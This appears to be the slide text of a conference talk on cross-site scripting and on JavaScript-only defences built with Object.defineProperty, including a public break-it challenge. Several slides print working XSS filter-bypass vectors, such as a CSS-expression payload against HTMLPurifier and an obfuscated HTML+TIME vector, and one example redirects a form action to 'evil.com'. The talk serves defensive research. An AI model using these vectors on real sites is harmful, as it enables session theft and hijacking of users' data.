  • 5. JavaScript and XSS  Cross Site Scripting  One site scripting another  Early vectors abusing Iframes  First published attacks in the late nineties  Three four major variations  Reflected XSS  Persistent XSS  DOM based XSS / DOMXSS  Plug-in XSS  Information theft and modification  Impersonation and leverage of more complex attacks
  • 6. XSS today  An ancient and simple yet unsolved problem  Complexity  Browser bugs  Insecure web applications  Browser plug-ins  Impedance mismatches  Application layer mitigation concepts  New features and spec drafts enabling 0-day attacks  XSS is a user agent problem! Nothing else!
  • 7. Mitigation History  Server side  Native runtime functions, strip_tags(), htmlentities(), etc.  Runtime libraries and request validation  External libraries filtering input and output  HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML  HTTPOnly cookies  Client side protection mechanisms  toStaticHTML() in IE8+ and NoScript  IE8+ XSS filter and Webkit XSS Auditor  Protective extensions such as NoScript, NotScripts  Upcoming approaches such as CSP
  • 8. Reliability? We broke every single one of them Numerous times And we enjoyed it – as we will in the future
  • 9. Impedance mismatch  Layer A is unaware of Layer B capabilities and flaws  Layer A deploys the attack  Layer B executes the exploit  Case study:  HTMLPurifier 4.1.1  Server side HTML filter and XSS mitigation library  Internet Explorer 8, CSS expressions and a parser bug  <a style="background:url('/',! @x:expression(write(1))//)!'');"></a>
  • 10. Ancient Goods  HTML+TIME and behaviors 1;--<?f><l ₩ :!!:x /style=`b&#x5c;65h0061vIor/ĸ :url(#def&#x61ult#time2)ö/';'` ₩ /onbegin= &#x5bµ=u00&#054;1le&#114t&#40&#x31)&#x5d&# x2f/&#xyŧ>  http://html5sec.org/what?
  • 11. Further vectors  Plug-in based XSS  Adobe Reader  Java applets  Flash player  Quicktime videos  SVG images  Charset injection and content sniffing  UTF-7 XSS, EBCDIC, MacFarsi, XSS via images  Chameleon files, cross context scripting, local XSS  DOMXSS
  • 12. Quintessence  Server side filtering of client side attacks  Useful and stable for basic XSS protection  Still not remotely sufficient  Affected by charsets, impedance mismatches  Subverted by browser bugs an parser errors  Rendered useless by DOMXSS  Bypassed via plug-in based XSS  Helpless against attacks deployed from different servers  Not suitable for what XSS has become  The server cannot serve protection for the client  And - where will the classic server be in five years?
  • 13. Revisiting XSS  XSS attacks target the client  XSS attacks are being executed client side  XSS attacks aim for client side data and control  XSS attacks impersonate the user  XSS is a client side problem  Sometimes caused by server side vulnerabilities  Sometimes caused by a wide range of problems transparent for the server  Still we try to improve server side XSS filters
  • 14. Idea  Prevention against XSS in the DOM  Capability based DOM security  Inspired by HTTPOnly  Cookies cannot be read by scripts anymore  Why not changing document.cookie to do so  JavaScript up to 1.8.5 enabled this  Unfortunately Non-Standard  Example →
  • 15. __defineGetter__() <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> alert(document.cookie) </script>
  • 16. Problems  Proprietary  And not tamper resistant at all  JavaScript supplies a delete operator  Delete operations on DOM properties reset their state  Getter definitions can simply be overwritten  Object getters - invalid for DOM protection purposes  Same for setters and overwritten methods
  • 17. Bypass <script> document.__defineGetter__('cookie', function(){ alert('no cookie access!'); return false; }); </script> … <script> delete document.cookie; alert(document.cookie) </script>
  • 18. Tamper Resistance  First attempts down the prototype chain  document.__proto__.__defineGetter__()  Document.prototype  Attempts to register delete event handlers  Getter and setter definitions for the prototypes  Setter protection for setters  Recursion problems  Interval based workarounds and race conditions  JavaScript 1.8 unsuitable for DOM based XSS protection
  • 19. ECMA Script 5  Older user agents use JavaScript based on ES3  Firefox 3  Internet Explorer 8  Opera 11  The modern ones already ship ES5 compliance  Google Chrome  Safari 5+  Firefox 4+  Internet Explorer 9 and 10pp3
  • 20. Object Extensions  Many novelties in ECMA Script 5  Relevance for client side XSS mitigation  Object extensions such as  Object.freeze() and Object.seal()  Object.getOwnPropertyNames() - a lovely method!  Object.defineProperty() / Object.defineProperties()  Object.preventExtensions()  Less relevant but still interesting  Proxy Objects, useless since no host objects allowed...  More meta-programming APIs  Combinations with DOM Level 3 events
  • 21. ({}).defineProperty()  Object.defineProperty() and ..Properties()  Three parameters  Parent object  Child object to define  Descriptor literal  Descriptors allow to manipulate  Get / Set behavior  Value  “Enumerability”  “Writeability”  “Configurability”  Example →
  • 22. Example <script> Object.defineProperty(document, 'cookie', { get: function(){return:false}, set: function(){return:false}, configurable:false }); </script> … <script> delete document.cookie; alert(document.cookie); </script>
  • 23. configurable:false  Setting “configurability” to false is final  The object description is stronger than delete  Prototype deletion has to effect  Re-definition is not possible  With this method call cookie access can be forbidden  By the developer  And by the attacker
  • 24. Prohibition  Regulating access in general  Interesting to prevent cookie theft  Other properties can be blocked too  Method access and calls can be forbidden  Methods can be changed completely  Horizontal log can be added to any call, access and event  That is for existing HTML elements as well  Example →
  • 25. Action Protection <script> var form = document.getElementById('form'); Object.defineProperty(form, 'action', { set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false }); </script> … <script> document.forms[0].action='//evil.com'; </script>
  • 26. First Roundup  Access prohibition might be effective  Value and argument logging helps detecting attacks  Possible IDS solutions are not affected by heavy string obfuscation  No impedance mismatches  Attacks are detected on they layer they target  Parser errors do not have effect here  No effective charset obfuscations  Immune against plug-in-deployed scripting attacks  Automatic quasi-normalization  It's a blacklist though
  • 27. Going Further  No access prohibitions but RBAC via JavaScript  Possible simplified protocol  Let object A know about permitted accessors  Let accessors of object A be checked by the getter/setter  Let object A react depending on access validity  Seal object A  Execute application logic  Strict policy based approach  A shared secret between could strengthen the policy  Example →
  • 28. RBAC and IDS <script> Object.defineProperty(document, 'cookie', { set:RBAC_checkSetter(IDS_checkArguments()), get:RBAC_checkGetter(IDS_checkArguments()) configurable:false }); // identified via arguments.callee.caller My.allowedMethod(document.cookie); </script> … <script> alert(document.cookie) </script>
  • 29. Forced Introspection  Existing properties can gain capabilities  The added setter will know:  Who attempts to set  What value is being used  The added getter will know:  Who attempts to get  An overwritten function will know:  How the original function looked like  Who calls the function  What arguments are being used  IDS and RBAC are possible  Tamper resistance thanks to configurable:false
  • 30. Case Study I  Stanford JavaScript Crypto Library  AES256, SHA256, HMAC and more in JavaScript  „SJCL is secure“  Not true from an XSS perspective  Global variables  Uses  Math.floor(), Math.max(), Math.random()  document.attachEvent(), native string methods etc.  Any of which can be attacker controlled  High impact vulnerabilities ahead...
  • 31. Case Study II  BeEF – Browser Exploitation Framework  As seen some minutes ago ☺  Uses global variables  window.beef = BeefJS;  Attacker could seal it with Object.defineProperty()  Else the defender could “counterbeef” it  BeEF XSS = Exploiting the exploiter  Maybe a malformed UA string? Or host address?
  • 32. Deployment  Website owners should obey a new rule  „The order of deployment is everything“  As long as trusted content is being deployed first  Object.defineProperty() can protect  Sealing can be used for good  The script deploying first controls the DOM  Persistent, tamper resistant and transparent  Self-defense is possible  Example →
  • 33. !defineProperty() <html> <head> <script> … Object.defineProperty(Object, 'defineProperty' { value:[], configurable:false }); </script> … <script> Object.defineProperty(window,'secret', { get:stealInfo }); // TypeError </script>
  • 34. Reflection  Where are we now with ES5?  Pro:  We can fully restrict property and method access  We have the foundation for a client side IDS and RBAC  We can regulate Object access, extension and modification  CSP and sand-boxed Iframes support this approach  Contra:  It's a blacklist  Magic properties cause problems  We need to prevent creation of a fresh DOM  Right now the DOM sucks!  Still we can approach XSS w/o any obfuscation
  • 35. But now... Enough with the theory already!
  • 36. Experimentation  Publish a totally XSS-able website  1st step: Attribute injections  2nd step: Full HTML injections, implemented as crappily as possible  No server filter at all  Protect it with JavaScript only  Block access to document.cookie  Implement a safe getter  Announce a challenge to break it  Break→Score→Await Fix→Break→Score again  Tough challenge→Evolutionary Result-Set→Extra Learning
  • 37. Code Example document.cookie = '123456-secret-123456'; (function(){ var i,j,x,y; var c = document.cookie; var o = Object.defineProperty; document.cookie=null; o(MouseEvent.prototype, 'isTrusted', {configurable:false}); o(document, 'cookie', {get:function()arguments.callee.caller===Safe.get ? c : null}); x=Object.getOwnPropertyNames(window),x.push('HTMLHeadElement'); for(i in x) { if(/^HTML/.test(x[i])) { for(j in y=['innerHTML', 'textContent', 'text']) { o(window[x[i]].prototype, y[j], {get: function() null}) } } } for(i in x=['wholeText', 'nodeValue', 'data', 'text', 'textContent']) { o(Text.prototype, x[i], {get: function() null}) } })();
  • 38. A Safe Getter? var Safe = {}; Safe.get = function() { var e = arguments.callee.caller; if(e && e.arguments[0].type === 'click' && e.arguments[0].isTrusted === true) { return document.cookie } return null; }; Object.freeze(Safe);  Make sure it's a click  Make really sure it's a click  Make really sure it's a real click  Look good, right?
  • 40. Evaluation by Penetration  Turns out it's been all rubbish  Code was broken 52 times  Spoofing “real” clicks  Overwriting frozen properties  Using Iframes and data URIs  Using XHR from within JavaScript and data URIs  Finding leaking DOM properties  Cloning content into textarea and reading the value  Here's a full list  Code was fixed successfully 52 times  Remainder of an overall of zero “unfixable” bypasses?  Well – almost. And depending on the user agent.  IE? Yes sir! Firefox? Yes - kinda. Rest? Nope
  • 41. Current State  XSSMe¹ still online  http://html5sec.org/xssme  XSSMe² as well  http://xssme.htm5sec.org/  You are welcome to break it  ~14.000 attempts to break it so far  52 succeeded,  52 were ultimately fixed! Thanks plaintext and createHTMLDocument()  XSSMe³ / JSLR is available right now!  http://www.businessinfo.co.uk/labs/jslr/jslr.php  Hat-tips to Gareth Heyes  ~8.000 attempts to break it – of which 15 succeeded (so far) and 14 were fixed  And hopefully there is more to come
  • 42. How's it done?  XSSMe²  Object.getOwnPropertyNames(window).concat( Object.getOwnPropertyNames(Window.prototype))  document.write('<plaintext id=__doc>')  document.implementation.createHTMLDocument()  JSLR/XSSMe³  All of the above  Apply a random ID to any legitimate element  Check against its existence  Wrap JavaScript code in identifier blocks  High security mode – server supported though  Please, please try to break it!
  • 43. So?  Client-side, JavaScript only XSS protection is possible  Is it elegant right now? Noope  Does it work on all modern browsers? Almost! IE and FF doing great  Is it feasible? Yes – but fragile  More fragile than protection allotted over n layers? Noope  What remains to be done?  A small wish-list for the browser vendors!  A possibility to make it work elegantly
  • 44. Future Work I  We need to fix the DOM  Consistency please  Higher prio for DOM bugs – they will be security bugs anyway soon!  Specify a white-list based approach  Fix and refine event handling and DOM properties  DOMFrameContentLoaded  Maybe DOMBeforeSubtreeModified?  Maybe DOMBeforeInsertNode?  The DOM needs more “trustability”  Monitor and contribute to ES6 and ES7  We need DOM Proxies!
  • 45. Future Work II  Talk to W3C people  DOM Sandboxing kinda works – but that's about it  Introduce the features we need to make it elegant  Specify DOMInit, support its implementation  Specify Object.intercept()  White-list based DOM access and caller interception  Details available soon. Or after a beer or two  And finally?  Please let's fix the Java Plugin! Really!  This is sheer horror and breaks everything  Anyone here from Oracle we could talk to?
  • 46. Conclusion  XSS remains undefeated - but lots'a steps forwards were made  RIAs gain complexity and power, WDP and Win8  Client-agnostic server side filters designed to fail  Time for a new approach  Still a lot of work to be done  Client-side XSS protection and more is possible  Just not the most elegant  Still – compare 70 lines of JS to 12091 lines of PHP  Let's get it done already  Hard? Yes. No one said it'd be easy :)
  • 47. Questions  Thanks for your time!  Discussion?  Thanks for advice and contribution:  G. Heyes, S. Di Paola, E. A. Vela Nava  R. Shafigullin, J. Tyson, M. Kinugawa, N. Hippert, M. Nison, K. Kotowicz  D. Ross and M. Caballero  J. Wilander and M. Bergling  J. Magazinius, Phung et al.  All unmentioned contributors